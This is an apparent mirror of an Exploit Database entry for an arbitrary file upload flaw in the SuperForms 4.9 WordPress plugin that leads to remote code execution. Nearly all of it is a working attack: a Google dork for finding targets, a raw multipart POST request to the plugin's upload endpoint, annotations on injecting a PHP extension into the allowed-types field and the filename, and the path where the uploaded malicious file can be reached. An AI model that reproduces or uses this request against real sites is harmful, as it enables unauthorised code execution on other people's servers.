WordPress Plugin SuperForms 4.9 – Arbitrary File Upload

• Exploit Database
• 122 阅读

• 作者： ABDO10
  日期： 2021-01-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49490/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  # Exploit Title: WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution # Exploit Author: ABDO10 # Date : Jan - 28 - 2021 # Google Dork : inurl:"/wp-content/plugins/super-forms/" # Vendor Homepage : https://renstillmann.github.io/super-forms/#/ # Version : All (<= 4.9.X) # data in http request :   POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1 <=== exploit end point Host: localhost User-Agent: UserAgent Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------423513681827540048931513055996 Content-Length: 7058 Origin: localhost Connection: close Referer: localhost Cookie:   -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="accept_file_types"   jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF<======= inject extension (|PHP4) to validate file to upload -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="max_file_size"   8000000 -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="image_library"   0 -----------------------------423513681827540048931513055996 Content-Disposition: form-data; name="files[]"; filename="filename.(extension)"<==== inject code extension (.php4) for example Content-Type: application/pdf   Evil codes to be uploaded   -----------------------------423513681827540048931513055996--   # Uploaded Malicious File canbe Found in : /wp-content/uploads/superforms/2021/01/<id>/filename.php4 u can get <id> from server reply .